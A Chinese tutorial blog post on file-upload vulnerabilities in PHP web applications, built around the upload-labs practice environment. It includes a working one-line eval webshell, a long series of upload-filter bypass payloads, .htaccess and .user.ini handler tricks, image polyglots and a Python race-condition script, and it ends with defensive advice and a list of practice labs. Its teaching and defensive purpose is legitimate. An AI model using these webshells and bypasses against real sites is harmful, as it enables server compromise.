2026-07-25
top10漏洞常见基础讲解
00
请注意,本文编写于 112 天前,最后修改于 111 天前,其中某些信息可能已经过时。

目录

一、什么是文件上传漏洞
二、原理:文件是怎么被服务器"执行"的?
2.1 正常流程(以 PHP 为例)
2.2 漏洞是怎么产生的?
三、一句话木马是什么?
四、常见的校验方式与绕过手段
4.1 前端 JavaScript 校验(最弱)
4.2 MIME 类型校验(Content-Type)
4.3 黑名单后缀校验(最常见)
绕过方式一:等价扩展名
绕过方式二:大小写绕过
绕过方式三:空格绕过
绕过方式四:点绕过
绕过方式五:::$DATA 绕过(Windows NTFS 特性)
绕过方式六:双写绕过
4.4 白名单后缀校验
绕过方式一:00 截断
绕过方式二:文件头绕过
典型的检测代码
方法一:直接文本添加(最简单)
方法二:Windows 命令行制作图片马(推荐)
方法三:BurpSuite 改包插入文件头
在 upload-labs 的 Pass-14 和 Pass-15 中,后端就是用 getimagesize() 和 exif_imagetype() 来检测的。
4.5 .htaccess 文件上传(Apache 特有)
4.6 .user.ini 文件上传(PHP 特有)
4.7 条件竞争(Pass-18)
4.8 Apache 文件解析漏洞(Pass-19)
4.9 二次渲染(Pass-17)
五、高级绕过:代码审计视角
六、如何防御文件上传漏洞
6.1 最佳实践:白名单 + 多重校验
6.2 关键防御措施
6.3 Nginx/Apache 配置禁止执行
七、练习环境推荐
八、总结思维导图

文件上传是什么,原理,如何利用,基础常见绕过


一、什么是文件上传漏洞

文件上传漏洞,简单来说就是:攻击者把恶意文件(比如 PHP 木马)上传到服务器上,并且服务器把它当成正常程序执行了。

正常情况下,网站只允许你上传图片(.jpg、.png)、文档(.pdf)这类无害文件。但如果网站对上传的文件"检查不严",攻击者就能上传一个包含恶意代码的文件(比如 shell.php),然后通过浏览器访问这个文件,让服务器执行里面的代码,最终拿到服务器的控制权。


二、原理:文件是怎么被服务器"执行"的?

要理解文件上传漏洞,首先得明白 Web 服务器是怎么处理文件的。

2.1 正常流程(以 PHP 为例)

浏览器请求 index.php ↓ Apache/Nginx 发现是 .php 文件 ↓ 交给 PHP 解释器执行 ↓ PHP 执行完返回 HTML ↓ Apache 把结果发给浏览器

关键点:服务器是根据文件后缀名来决定怎么处理这个文件的。

  • .php → 交给 PHP 执行
  • .jpg → 直接返回图片内容,不执行

2.2 漏洞是怎么产生的?

如果攻击者上传了一个 shell.php,服务器一看后缀是 .php,就会交给 PHP 执行。shell.php 里面如果写的是:

php
<?php eval($_POST["pass"]); ?>

那攻击者就可以通过 POST 请求向这个文件发送任意 PHP 代码,服务器都会执行。这就是一句话木马,配合蚁剑、菜刀等工具就能远程控制服务器。


三、一句话木马是什么?

一句话木马是文件上传漏洞中最常用的攻击载荷,它的核心就是一句话:

php
<?php @eval($_POST['pass']); ?>
  • eval():把字符串当成 PHP 代码执行
  • $_POST['pass']:接收 POST 请求中名为 pass 的参数
  • @:抑制错误信息,隐藏痕迹

攻击流程:

  1. 把上面这行代码保存为 shell.php
  2. 想办法上传到目标服务器
  3. 用蚁剑连接 http://目标网站/upload/shell.php,密码填 pass
  4. 成功拿到 Webshell,可以浏览文件、执行命令

四、常见的校验方式与绕过手段

网站为了防止恶意上传,通常会在三个环节做检查。我们逐个分析怎么绕过。

4.1 前端 JavaScript 校验(最弱)

原理:在网页的 HTML 里嵌入一段 JS 代码,在文件还没发给服务器之前,先在浏览器里检查文件名后缀。

javascript
function checkFile() { var file = document.getElementsByName('upload_file')[0].value; var allow_ext = ".jpg|.png|.gif"; var ext_name = file.substring(file.lastIndexOf(".")); if (allow_ext.indexOf(ext_name + "|") == -1) { alert("该文件不允许上传!"); return false; } }

问题:JS 运行在浏览器端,属于"客户端校验",攻击者完全可以绕过浏览器直接发请求。

绕过方法有三种:

方法一:禁用 JavaScript

  • 打开浏览器开发者工具(F12)→ 设置 → 勾选"停用 JavaScript"
  • 然后直接上传 shell.php,JS 校验就不会执行了

方法二:BurpSuite 抓包改包

  • 先把 shell.php 改名为 123.jpg(骗过前端 JS)
  • 点击上传,用 Burp 拦截请求
  • 在请求包中把文件名改回 123.php
  • 放包,服务器收到的就是 PHP 文件

方法三:控制台调试

  • F12 → 源代码 → 在 JS 的白名单检查处打断点
  • 上传 PHP 文件,代码停在断点处
  • 在控制台把 whitelist 数组改成包含 .php
  • 继续执行,成功绕过

核心思想:永远不要相信客户端的校验,客户端的一切都可以被篡改。


4.2 MIME 类型校验(Content-Type)

原理:后端检查 $_FILES['upload_file']['type'],也就是 HTTP 请求头中的 Content-Type 字段。

php
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { // 允许上传 } else { $msg = '文件类型不正确!'; }

绕过方法:

  • 用 BurpSuite 抓包,找到请求中的 Content-Type 字段
  • 把 application/octet-stream(PHP 文件的 MIME)改成 image/png
  • 放包即可

eca458cae883daef979691e923ab19c6.png 改成image/png efec11c322d5053a7fb9c165213cc5a9.png

6afe2c179910e39c85268800a4e61a4c.png

原始: Content-Type: application/octet-stream 改成: Content-Type: image/png

Content-Type 是客户端告诉服务器"我这是什么类型",服务器如果盲目相信,就会被骗。


4.3 黑名单后缀校验(最常见)

原理:后端维护一个"不允许上传的后缀名列表",如果上传的文件后缀在黑名单里,就拒绝。

php
$deny_ext = array('.asp','.aspx','.php','.jsp'); $file_ext = strrchr($file_name, '.'); // 获取后缀 if(!in_array($file_ext, $deny_ext)) { // 允许上传 }

黑名单校验的问题在于:很难列全所有危险后缀。攻击者总能找到黑名单之外的等价扩展名。

绕过方式一:等价扩展名

PHP 除了 .php,还有很多等价的后缀可以被解析:

  • .php3、.php4、.php5、.phtml、.pht

图片.png 前提:Apache 需要在 httpd.conf 中配置:

AddType application/x-httpd-php .php .phtml .php3

注意:phpstudy 默认是 NTS 版本,可能不支持这些后缀解析,建议手动搭建 Apache+PHP 环境。

绕过方式二:大小写绕过

如果代码中没有 strtolower() 转小写:

php
// 缺少这行:$file_ext = strtolower($file_ext);

图片.png 在 Windows 系统中,shell.php 和 shell.PHP、shell.PHp 是同一个文件。但黑名单里只有 .php,.PHp 不在黑名单中,就能绕过。

payload:上传 shell.PHp

绕过方式三:空格绕过

如果代码中没有 trim() 去除首尾空格:

php
// 缺少这行:$file_ext = trim($file_ext);

在 Windows 下,文件保存时会自动去掉末尾空格。上传 shell.php (后面有个空格),后缀变成 .php ,不在黑名单里,但保存到服务器上就变成了 shell.php。

payload :Burp 抓包,文件名改成 shell.php

图片.png

绕过方式四:点绕过

如果代码中没有 deldot() 删除末尾的点:

php
// 缺少这行:$file_name = deldot($file_name);

Windows 下,shell.php. 保存时会自动去掉末尾的点,变成 shell.php。

payload:Burp 抓包,文件名改成 shell.php.

图片.png 但是这里windows会在Windows系统中尝试保存shell.php,时,后面的.和空格都被删掉了。可以利用这个特性 图片.png

绕过方式五:::$DATA 绕过(Windows NTFS 特性)

Windows 的 NTFS 文件系统支持备用数据流(ADS)。shell.php::$DATA 表示访问 shell.php 的主数据流,系统会忽略 ::$DATA,最终保存为 shell.php。

如果代码中没有过滤 ::$DATA:

php
// 缺少这行:$file_ext = str_ireplace('::$DATA', '', $file_ext);

payload:上传 shell.php::$DATA

图片.png 发现被过滤 图片.png

绕过方式六:双写绕过

如果代码中对危险后缀做了替换而不是检测:

php
$file_name = str_replace('php', '', $file_name);

5cf7efb17361594244aded72515987fb.png 这种"替换为空"的逻辑有漏洞。上传 shell.pphphp:

  • 从左到右扫描,第一个 php 被替换为空 → shell.pphp
  • 继续扫描,又发现一个 php → shell.php
  • 最终文件名变成 shell.php

payload:上传 shell.pphphp


4.4 白名单后缀校验

白名单是"只允许这些后缀",比黑名单更安全,但如果配合其他漏洞仍可能被绕过。

绕过方式一:00 截断

原理:PHP 5.3.4 以下版本中,move_uploaded_file() 等函数在处理文件名时,遇到 %00(空字节)会截断后面的内容。

保存文件时 move_uploaded_file() 底层调用 C 的系统函数,读到 \x00 就认为路径结束了

%00 是 \x00 的 URL 编码形式,是它在网络上传输时的"包装"。只有经过解码(urldecode)后,才会变回真正的空字节 \x00,从而触发 C 语言字符串的截断效果。

GET 型截断:

上传路径:upload/shell.php%00.jpg

服务器解析时,%00 后面的 .jpg 被截断,实际保存为 shell.php。

方式一: 68356c9a55c3c413cf9b74059961b394.png

方式二: ../upload/shell.php%00 和在下方文件处上传shell.png

POST 型截断: POST 请求中 %00 不会被自动解码,需要在 Burp 的 Hex 编辑器中手动把对应位置改成 00。

这里用个四不像简单看下,它应该是经过了手动 decode 图片.png 但是实际上应该是

图片.png

注意:PHP 5.3.4 之后已修复,现代环境基本不可用。

绕过方式二:文件头绕过

文件头也叫文件签名(File Signature)或Magic Bytes,是文件最开头的几个字节,用来标识这个文件到底是什么类型。

常见文件的文件头

文件类型文件头(Hex)文件头(ASCII/可见字符)
JPEG/JPGFF D8 FF不可见
PNG89 50 4E 47‰PNG
GIF47 49 46 38GIF8
GIF89a47 49 46 38 39 61GIF89a
BMP42 4DBM
ZIP50 4B 03 04PK..
RAR52 61 72 21Rar!
PDF25 50 44 46%PDF

比如一个真正的 PNG 图片,用十六进制编辑器打开,开头一定是 89 50 4E 47。

典型的检测代码

PHP 用 getimagesize() 检测:

php
$file = $_FILES['upload_file']['tmp_name']; $img_info = getimagesize($file); // 获取图片尺寸和类型 if ($img_info) { // 如果能获取到宽高,说明是真图片 move_uploaded_file($file, "upload/xxx.jpg"); } else { die("这不是图片!"); }

PHP 用 exif_imagetype() 检测:

php
$type = exif_imagetype($file); // 返回图片类型常量 if ($type == IMAGETYPE_GIF || $type == IMAGETYPE_JPEG || $type == IMAGETYPE_PNG) { // 允许上传 }

PHP 用 finfo 检测 MIME(读取文件头):

php
$finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['file']['tmp_name']); // 可能返回 image/gif、image/png 等

方法一:直接文本添加(最简单)

打开你的 shell.php,在最前面加上 GIF 的文件头:

php
GIF89a <?php @eval($_POST['pass']); ?>

d3fee39e734190e9a3dfc31b4bbf6f4f.png

GIF89a 就是 GIF 图片的文件头标识。很多检测函数一看到开头是 GIF89a,就认为这是 GIF 图片,放行。

原理:getimagesize() 和 exif_imagetype() 读到 GIF89a 后,会认为这是合法的 GIF 文件,返回图片类型。但 PHP 解析器在执行时,会把 GIF89a 当成普通文本输出,然后继续执行后面的 <?php ... ?> 代码。

方法二:Windows 命令行制作图片马(推荐)

如果你有一张正常的图片 1.jpg 和一个木马 shell.php,可以用 Windows 的 copy 命令把它们合二为一:

cmd
copy 1.jpg/b + shell.php/a shell.jpg

图片.png

  • /b:表示以二进制方式处理图片
  • /a:表示以 ASCII 方式处理 PHP 文件
  • 结果:shell.jpg 的文件头是正常的 JPG 文件头,后面跟着 PHP 代码

验证方法:用记事本打开 shell.jpg,拉到最下面,能看到你的 PHP 代码。

方法三:BurpSuite 改包插入文件头

如果你已经抓到了上传请求包,可以直接在文件内容的最前面插入文件头字节:

步骤:

  1. Burp 拦截上传请求
  2. 切换到 Hex(十六进制)视图
  3. 在文件内容的最开头,插入 PNG 的文件头:89 50 4E 47 0D 0A 1A 0A
  4. 放包

或者简单点,在文件内容的文本最前面加上:

‰PNG

(这是 PNG 文件头的 ASCII 表示,虽然不如二进制准确,但有些弱校验能通过)


在 upload-labs 的 Pass-14 和 Pass-15 中,后端就是用 getimagesize() 和 exif_imagetype() 来检测的。

攻击流程:

第一步:准备图片马

用命令行制作:

cmd
copy 1.jpg/b + shell.php/a shell.jpg

或者直接编辑 shell.php,开头加上 GIF89a,然后改名为 shell.gif。

第二步:上传

直接上传 shell.gif(实际是包含 PHP 代码的文件)。

因为文件头是合法的 GIF,所以 getimagesize() 不会拦截,上传成功。

第三步:利用

此时 shell.gif 已经躺在服务器的 upload 目录里了。但直接访问它时,服务器把它当成图片返回,不会执行 PHP 代码。

这时候需要配合文件包含漏洞:

图片.png

http://目标网站/include.php?file=upload/shell.gif

include() 函数会把 shell.gif 的内容读进来,当成 PHP 代码执行,其中 <?php @eval($_POST['pass']); ?> 就会被触发。


4.5 .htaccess 文件上传(Apache 特有)

.htaccess 是 Apache 的分布式配置文件,放在某个目录下就能对该目录生效,可以覆盖全局配置。

利用场景:黑名单禁了所有 PHP 相关后缀,但没有禁 .htaccess。

步骤:

  1. 创建一个 .htaccess 文件,内容如下:
<FilesMatch "shell"> setHandler application/x-httpd-php </FilesMatch>

或者

AddType application/x-httpd-php .png //.png文件当作php文件解析
  1. 上传 .htaccess

//只要文件名中包含fuck,就会被Apache解析为php文件。 图片.png

  1. 再上传 fuck.txt(或 fuck.jpg)

图片.png

  1. 访问 fuck.txt,Apache 会把它交给 PHP 执行

7ee82e5ddcef514c6d357b3973290ba3.png 原理图:

没有 .htaccess:shell.jpg → 直接返回图片内容 有 .htaccess: shell.jpg → PHP 解析执行 → 返回执行结果

前提:Apache 的 AllowOverride 要设置为 All,否则 .htaccess 不生效。


4.6 .user.ini 文件上传(PHP 特有)

.user.ini 是 PHP 的用户级配置文件,可以覆盖 php.ini 的部分设置。

利用场景:黑名单禁了 .htaccess,但没有禁 .user.ini。

前提:PHP 运行模式必须是 FastCGI(phpstudy 默认是这种模式)。

步骤:

  1. 创建 .user.ini,内容:
auto_prepend_file=shell.gif

意思是:该目录下所有 PHP 文件执行前,都会先包含 shell.gif。

图片.png 2. 上传 .user.ini

  1. 上传 shell.gif,内容是一句话木马(把 shell.php 改名)
  2. 访问目录下已有的 PHP 文件(如 readme.php),shell.gif 里的代码就会被执行

图片.png

4.7 条件竞争(Pass-18)

原理:有些网站的上传逻辑是:

  1. 先保存上传的文件
  2. 然后检查文件是否合法
  3. 如果不合法,再删除
php
$temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; move_uploaded_file($temp_file, $img_path); // 先保存 if (check($img_path) == false) { // 再检查 unlink($img_path); // 不合法就删除 }

漏洞:从"保存"到"删除"之间有一个时间窗口。攻击者可以在这个极短的时间窗口内访问刚上传的文件。

php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>'); ?>
py
import requests import threading import os class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php' def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print(r.text) os._exit(0) def run(self): while True: for i in range(5): self._get() for i in range(10): self._get() if __name__ == '__main__': threads = 50 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join()

利用方法:

  • 用 Burp 的 Intruder 模块,开启多线程不断上传 shell.php
  • 同时用另一个线程不断请求 http://目标网站/upload/shell.php
  • 总有一次会在文件被删除之前访问到它,成功执行

4.8 Apache 文件解析漏洞(Pass-19)

Apache 有一个特性:对于无法识别的文件后缀,会从后往前找能解析的后缀。

例如:shell.php.xxx.yyy

  • .yyy 不认识 → 往前找 .xxx → 不认识 → 再往前找 .php → 认识!
  • 最终交给 PHP 解析

payload:上传 shell.php.rar 或 shell.php.abc

这个漏洞在 Apache 1.x/2.x 的某些配置下存在。


4.9 二次渲染(Pass-17)

原理:网站上传图片后,会对图片进行压缩、裁剪、加水印等处理(二次渲染),这会破坏嵌入在图片里的 PHP 代码。

二次渲染图

绕过思路:

  • 上传一张正常的图片,下载处理后的图片
  • 对比处理前后的图片,找到没有被修改的"空白区域"
  • 把一句话木马插入到这些空白区域中
  • 重新上传

五、高级绕过:代码审计视角

从代码审计的角度,文件上传漏洞往往出现在以下逻辑缺陷中:

审计点危险代码示例绕过思路
只检查 MIME 类型$_FILES['type']改 Content-Type
黑名单不完整只禁了 .php用 .php3、.phtml
没有转小写缺少 strtolower()大小写混写 .PHp
没有 trim缺少 trim()末尾加空格
没有 deldot缺少 deldot()末尾加点
没有过滤 ::$DATA缺少 str_ireplace('::$DATA')加 ::$DATA
替换而非检测str_replace('php', '')双写 .pphphp
先保存后检查move_uploaded_file 在 check 之前条件竞争

六、如何防御文件上传漏洞

6.1 最佳实践:白名单 + 多重校验

php
// 1. 白名单后缀校验 $allow_ext = array('jpg', 'jpeg', 'png', 'gif'); $file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION)); if (!in_array($file_ext, $allow_ext)) { die("不允许的文件类型"); } // 2. 校验 MIME 类型(不能单独依赖) $finfo = finfo_open(FILEINFO_MIME_TYPE); $real_mime = finfo_file($finfo, $temp_file); finfo_close($finfo); if (!in_array($real_mime, array('image/jpeg', 'image/png', 'image/gif'))) { die("文件类型不匹配"); } // 3. 重命名文件,不要保留原始文件名 $new_name = md5(uniqid()) . '.' . $file_ext; // 4. 存储目录设置不可执行权限 // upload 目录下不允许执行 PHP

6.2 关键防御措施

措施说明
白名单只允许特定的文件后缀,比黑名单安全得多
重命名上传后随机重命名,不保留原始文件名
分离存储上传目录放在 Web 根目录之外,或通过配置禁止脚本执行
文件头校验检查文件的真实类型(Magic Number),不只看后缀
图片处理对图片进行压缩/重绘,破坏可能嵌入的恶意代码
WAF部署 Web 应用防火墙拦截恶意上传
最小权限Web 服务以低权限用户运行,即使被入侵也限制破坏范围

6.3 Nginx/Apache 配置禁止执行

Nginx:

nginx
location ^~ /upload/ { deny all; # 或者直接禁止 PHP 执行 }

Apache(在 upload 目录下放 .htaccess):

apache
<FilesMatch "\.(php|php5|phtml)$"> Order allow,deny Deny from all </FilesMatch>

七、练习环境推荐

靶场说明
upload-labs最经典的文件上传靶场,共 21 关,覆盖各种绕过手法
CTFHub有专门的文件上传技能树,适合刷题
DVWA综合漏洞靶场,包含文件上传 Low/Medium/High 级别
Pikachu国产漏洞靶场,文件上传部分也很全面
docker 部署docker pull sqlsec/ggctf-upload 一键部署

建议:练习 upload-labs 时,推荐手动搭建 Apache+PHP 环境(不要用 phpstudy),因为很多关卡涉及 Apache 配置修改(如 .htaccess、.php3 解析等),phpstudy 的 NTS 版本会有兼容问题。


八、总结思维导图

文件上传漏洞 ├── 是什么:上传恶意文件,服务器执行 ├── 核心:一句话木马 + 蚁剑连接 ├── 校验环节 │ ├── 前端 JS 校验 → 禁用JS / 抓包改包 / 控制台调试 │ ├── MIME 校验 → 改 Content-Type │ ├── 黑名单后缀 │ │ ├── 等价扩展名 (.php3/.phtml) │ │ ├── 大小写 (.PHp) │ │ ├── 空格 (.php ) │ │ ├── 点 (.php.) │ │ ├── ::$DATA (shell.php::$DATA) │ │ └── 双写 (.pphphp) │ ├── 白名单后缀 │ │ ├── 00 截断 (%00) │ │ └── 配合文件包含(图片马) │ └── 其他 │ ├── .htaccess 上传 │ ├── .user.ini 上传 │ ├── 条件竞争 │ └── Apache 解析漏洞 ├── 防御 │ ├── 白名单后缀 │ ├── 重命名文件 │ ├── 分离存储 + 禁止执行 │ ├── 文件头校验 │ └── 图片二次渲染 └── 练习:upload-labs、CTFHub、DVWA